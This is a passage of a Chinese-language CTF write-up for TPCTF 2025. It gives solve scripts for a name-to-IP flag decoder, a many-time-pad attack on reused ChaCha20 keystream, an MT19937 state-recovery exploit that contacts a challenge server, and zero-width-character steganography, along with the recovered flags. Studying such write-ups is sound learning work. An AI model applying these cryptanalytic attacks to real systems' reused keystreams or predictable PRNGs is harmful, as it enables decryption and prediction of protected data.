'Coy', 'Jer', 'Luc', 'Gif', 'Cou', 'Dob', 'Dow', 'Hum', 'Hom', 'Nan', 'Dot', 'Den', 'Yeh', 'Ces', 'Jak', 'Nei', 'Rag', 'Dar', 'Pun', 'Dex', 'Gee', 'Nes', 'Mit', 'Fos', 'Sed', 'Pac', 'Cic', 'Toi', 'Raz', 'Tok', 'Did', 'Rik', 'Hit', 'Kam', 'Hiv', 'Jut', 'Tee', 'Pod', 'Gir', 'Sax', 'Hat', 'Dab', 'Nai', 'Jez', 'Was', 'Bon', 'Kid', 'Him', 'Tia', 'Bin', 'Wep', 'Dup', 'Yue', 'Maa', 'Hao', 'Suv', 'Ken', 'Mod', 'Kan', 'Moc', 'Cow', 'Sex', 'Ben', 'Deg', 'Gaf', 'Yaw', 'Luk', 'Faa', 'Bow', 'Ror', 'Bee', 'Cob', 'Loy', 'Row', 'Det', 'Nut', 'Rah', 'Coi', 'Rap', 'Def', 'Hie', 'Tic', 'Wis', 'Mew', 'Dav', 'Sir', 'Zoe', 'Zin', 'Uac', 'Rab', 'Yen', 'Sip', 'Nip', 'Bir', 'Pak', 'Kar', 'Gen', 'Kea', 'Sor', 'Lod', 'Fas', 'Sif', 'Zag', 'Rea', 'Wed', 'Vex', 'Lem', 'Sob', 'Sue', 'Lar', 'Rav', 'Sou', 'Bev', 'Kek', 'Kol', 'Rae', 'Map', 'Dah', 'Pee', 'Tam', 'Loc', 'Boc', 'Coz', 'Ful', 'Paz', 'Hop', 'Bui', 'Ref', 'Coo', 'Rez', 'Seq', 'Lou', 'Hon', 'Leo', 'Bis', 'Dia', 'Hui', 'Mai', 'Pez', 'Boy', 'Rog', 'Dac', 'Tut', 'Rut', 'Cuz', 'Now', 'Nii', 'Yas', 'Doj', 'Saw', 'Bex', 'Fom']
name2 = ['Wim', 'Het', 'Fau', 'Ria', 'Dio', 'God', 'Man', 'Lim', 'Fap', 'Bar', 'Sot', 'Uae', 'Faq', 'Gum', 'Doe', 'Kay', 'Vol', 'Bic', 'Ren', 'Sox', 'Ral', 'Pii', 'Fol', 'Noo', 'Wes', 'Law', 'Pic', 'Zig', 'Ric', 'Tad', 'Pav', 'Loo', 'Tea', 'Koh', 'Fia', 'Rep', 'Soa', 'Gog', 'Rim', 'Nec', 'Jun', 'Sus', 'Roh', 'Sac', 'Diy', 'Gin', 'Gul', 'Via', 'Tec', 'Mah', 'Rus', 'Cal', 'Wat', 'Mes', 'Pam', 'Sav', 'Luz', 'Lac', 'Jud', 'Lop', 'Tub', 'Lia', 'Kip', 'Nau', 'Loa', 'Roa', 'Dos', 'Nor', 'Jaz', 'Fim', 'Boo', 'Pad', 'Duo', 'Min', 'Vis', 'Hux', 'Cue', 'Soc', 'Caw', 'Rig', 'Wod', 'Pag', 'Tak', 'Cag', 'Coe', 'Lev', 'Ted', 'Vax', 'Peo', 'Uic', 'Cus', 'Huh', 'Rub', 'Gia', 'Raf', 'Bed', 'Pei', 'Sig', 'Pur', 'Qin', 'Dai', 'Deb', 'Pof', 'Neg', 'Tol', 'Lux', 'Jus', 'Uah', 'Que', 'Noe', 'Lov', 'Zee', 'Con', 'Fey', 'Soi', 'Tex', 'Pin', 'Kap', 'Sal', 'Luo', 'Tim', 'Mid', 'Daw', 'Had', 'Gam', 'Jul', 'Jie', 'Wol', 'Mon', 'Roc', 'Rel', 'Bas', 'Nou', 'Reo', 'Mar', 'Dao', 'Niu', 'Kev', 'Dee', 'Wip', 'Coc', 'Fes', 'Rat', 'Dig', 'Teu', 'Mob', 'Mae', 'Car', 'Tux', 'Dew', 'Xue', 'Poi', 'Sit', 'Xin', 'Per', 'Mos', 'Top', 'Gab', 'Yin', 'Loi', 'Jay', 'Moi', 'Yeo', 'Day', 'Dic', 'Haq', 'Dak', 'Mer', 'Wii', 'Pix', 'Fag', 'Dog', 'Por', 'Nib', 'Hog', 'Huw', 'Voc', 'Hob', 'Zep', 'Neo', 'Com', 'Seo', 'Cur', 'Mow', 'Reb', 'Jim', 'Noc', 'Big', 'Fin', 'Sek', 'Fav', 'Niv', 'Pom', 'Pes', 'Ker', 'Yao', 'Coq', 'Tif', 'Gem', 'Cel', 'Zit', 'Toc', 'Jet', 'Vow', 'Lon', 'Rev', 'Joi', 'Jem', 'Wad', 'Bom', 'Tar', 'Pua', 'Rao', 'Bio', 'For', 'Dec', 'Win', 'See', 'Pup', 'Mea', 'Fam', 'Muh', 'Doo', 'Moh', 'Sam', 'Maw', 'Tog', 'Moe', 'Tin', 'Hur', 'Won', 'Lox', 'Poa', 'Dun', 'Run', 'Bil', 'Vip', 'Viv', 'Del', 'Nae', 'Zip', 'Roo', 'Sum', 'Leh', 'Lam', 'Yoo', 'Yip', 'Tow', 'Pil', 'Nab', 'Goi', 'Gar', 'Qua', 'Cor', 'Hav', 'Let', 'Ree', 'Set', 'Lee', 'Cef', 'Jam', 'Fal', 'Daa', 'Put', 'Num', 'Vod', 'Tis', 'Cad', 'Mot', 'Rit', 'Lex', 'Nav', 'Sia', 'Lip', 'Nox', 'Raj', 'Pie', 'Hel', 'Bam', 'Fed', 'Los', 'Fax', 'Neh', 'Jag', 'Sec', 'Jap', 'Sun', 'Cea', 'Jug', 'Sis', 'Cut', 'Fit', 'Fox', 'Bum', 'Joh', 'Lag', 'Fic', 'Sae', 'Gaz', 'Yuh', 'Hee', 'Fae', 'Caf', 'Nag', 'Bay', 'Ray', 'Log', 'Dim', 'Bag', 'Gap', 'San', 'Sup', 'Kuo', 'Wav', 'Suh', 'Kal', 'Tom', 'Ret', 'Seb', 'Wil', 'Jen', 'Haz', 'Cum', 'Xiv', 'Pon', 'Cod', 'Kit', 'Biz', 'Gag', 'Fen', 'Leg', 'Uid', 'Bod', 'Peg', 'Fur', 'Pip', 'Vid', 'Ter', 'Mol', 'Yor', 'Tek', 'Koo', 'Sui', 'Gis', 'Cia', 'Jig', 'Nad', 'Sin', 'Wop', 'Hou', 'Xii', 'Mim', 'Naa', 'Nia', 'Fai', 'Cat', 'Mio', 'Vee', 'Sew', 'Pal', 'Bub', 'Lis', 'Cac', 'Bid', 'Pah', 'Dip', 'Goy', 'Rum', 'Hoc', 'Viz', 'Fog', 'Tax', 'Kin', 'Req', 'Kik', 'Coa', 'Meh', 'Mum', 'Lap', 'Mov', 'Pir', 'Bop', 'Der', 'Dag', 'Lei', 'Jit', 'Tod', 'Far', 'Tig', 'Tae', 'Ten', 'Toe', 'Sep', 'Mac', 'Hua', 'Vik', 'Piu', 'Rar', 'Hut', 'New', 'Pap', 'Hid', 'Xia', 'Hug', 'Rox', 'Rey', 'Meg', 'Zak', 'Uas', 'Dug', 'Bes', 'Ton', 'Lad', 'Hus', 'Lew', 'Jiu', 'Pub', 'Buy', 'Bet', 'Nog', 'Yak', 'Bau', 'Qol', 'Yet', 'Dor', 'Buh', 'Baz', 'Kat', 'Fei', 'Kon', 'Nuh', 'Noa', 'Cap', 'Cil', 'Tan', 'Jed', 'Dur', 'Bol', 'Sux', 'Gov', 'Dev', 'Teh', 'Bob', 'Bal', 'Pep', 'Hah', 'Res', 'Cai', 'Gas', 'Qiu', 'Wiz', 'Pis', 'Heh', 'Dil', 'Yer', 'Gon', 'Nis', 'Fiu', 'Ber', 'Gan', 'Bak', 'Fud', 'Cog', 'Zim', 'Doa', 'Bos', 'Hen', 'Hes', 'Dub', 'Web', 'Lol', 'Zoo', 'Vag', 'Lep', 'Vin', 'Cep', 'Sow', 'Naw', 'Mee', 'Vir', 'Jae', 'Lic', 'Gah', 'Wax', 'Zap', 'Bur', 'Civ', 'Tag', 'Led', 'Boe', 'Cin', 'You', 'Daf', 'Beg', 'Xan', 'Wix', 'Nun', 'Yap', 'Bai', 'Cox', 'Sur', 'Fet', 'Moj', 'Lau', 'Dis', 'Mat', 'Rid', 'Mal', 'Ris', 'Uis', 'Hib', 'Vie', 'But']
得到的IP发现是flag的十进制数据,最终exp:
from namelist import name4, name2, name1, name3
def num2ip(num:int):
a = num // 256**3
b = (num - a*256**3) // 256**2
c = (num - a*256**3 - b*256**2) // 256
d = num - a*256**3 - b*256**2 - c*256
returnf'{a}.{b}.{c}.{d}'
target = ['VicCouNeaGas', 'DemHohBojWod', 'PowFitGuoRut', 'VetTasBesDae', 'FasLiuTasJoi', 'DevRecWoeDia', 'BogHubSorHad', 'BagLibYupSix', 'MowPetBecZan', 'LonRecRipLuk', 'KarYapTajGot', 'TiaLiuFayDic', 'VizDivCitBot', 'LeaLatReaSac', 'FasLiuVicToc', 'KunSadMerMun', 'LemLiuGuoReq']
for name in target:
num = 0
t = [name[i:i+3] for i in range(0, len(name), 3)]
# print(t)
for i in t:
if i in name4:
num += 513*103*313*(name4.index(i))
elif i in name3:
num += 513*103*(name3.index(i))
elif i in name2:
num += 103*name2.index(i)
elif i in name1:
num += name1.index(i)
else:
print('no match', i)
exit()
# print(num2ip(num))
for c in num2ip(num).split('.'):
print(chr(int(c)), end='')
flag:
TPCTF{finally_the_criminal5_wh0_publi5hed_the5e_5pam_were_arre5ted}
Crypto
encrypted chat
根据题目描述猜测是聊天的时候时序出了问题,导致不同聊天者本应用chacha20的对应counter解密的时候,却用来加密自己发送的信息,所以可能会存在用同一密钥流加密的信息段,这就导致可能可以用MTP攻击。
因此先通过密文间异或找到连续的MSB为0的段,说明这些文本符合MTP特征,之后MTP即可得到大概文本,最后手动调试出完整聊天内容,就可以得到两部分flag。
exp:
找符合MTP的段
from base64 import b64decode
from pwn import xor
from tqdm import *
with open(r"D:题2025TPCTFencrypted_chatencrypted-chatmessages.txt", "r") as f:
c = f.read()
t = b64decode(c)
chunk_l = 180
for l1 in trange(len(c)): #1187, 7483
for l2 in range(l1+chunk_l, len(c)):
res = list(xor(t[l1:l1+chunk_l], t[l2:l2+chunk_l]))
if(all([_ < 128for _ in res])):
print(xor(t[l1:l1+chunk_l], t[l2:l2+chunk_l]).hex().zfill(2*chunk_l))
break
之后MTP再手动调即可。
randomized random
每个数据会泄露第一个getrandbits(32)的高位,由于低位存在进位影响所以取高12位比较合适,并且因为隔一个getrandbits(32)才取一次,所以线性相关的比特会很多,因此要多取很多组数据用大内存跑。
exp:
from Crypto.Util.number import *
from pwn import *
from random import *
from tqdm import *
######################################################### part1 recover MT and get seed
RNG = Random()
n = 2500
def construct_a_row(RNG):
row = []
for i in range(n):
row += list(map(int, (bin(RNG.getrandbits(32) >> 20)[2:].zfill(12))))
RNG.getrandbits(32)
return row
L = []
for i in trange(19968):
state = [0]*624
temp = "0"*i + "1"*1 + "0"*(19968-1-i)
for j in range(624):
state[j] = int(temp[32*j:32*j+32],2)
RNG.setstate((3,tuple(state+[624]),None))
L.append(construct_a_row(RNG))
L = Matrix(GF(2),L)
print(L.rank())
sh = remote("1.95.57.127", 3001)
nums = []
while(1):
temp = int(sh.recvline().strip().decode())
nums.append(temp)
if(len(nums) == n):
break
if(len(nums) % 100 == 0):
print(len(nums) // 100)
sh.sendline()
R = []
for i in range(n):
R += list(map(int, (bin(nums[i] >> 20)[2:].zfill(12))))
R = vector(GF(2),R)
s = L.solve_left(R)
init = "".join(list(map(str,s)))
state = []
for i in range(624):
state.append(int(init[32*i:32*i+32],2))
RNG1 = Random()
RNG1.setstate((3,tuple(state+[624]),None))
######################################################### part2 set seed and recover shuffle
dic = []
for i in range(len(nums)):
temp = []
temp.append(chr(nums[i] - RNG1.getrandbits(32)))
temp.append(RNG1.getrandbits(32))
dic.append(temp)
for l in range(20, 100):
flag = [""for _ in range(l)]
for j in dic:
flag[j[1] % l] = j[0]
if("TPCTF"in"".join(flag)):
print("".join(flag))
break
#TPCTF{Ez_MTI9937_pr3d1cTi0n}
nanonymous msg
题目WIP前有零宽隐写,粘贴出来发现符合TPCTF{}的特征,由于去除这几个字符之后,flag内部字符仅有24种,因此猜测为下划线+小写字符+少量数字leet。
由频率推测出下划线的位置,之后猜一下a和e的位置并放到quipqiup就可以看出大概内容,最后手动微调并多次提交flag猜leet即可。
原文始发于微信公众号(N0wayBack):XCTF-TPCTF 2025 WP
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论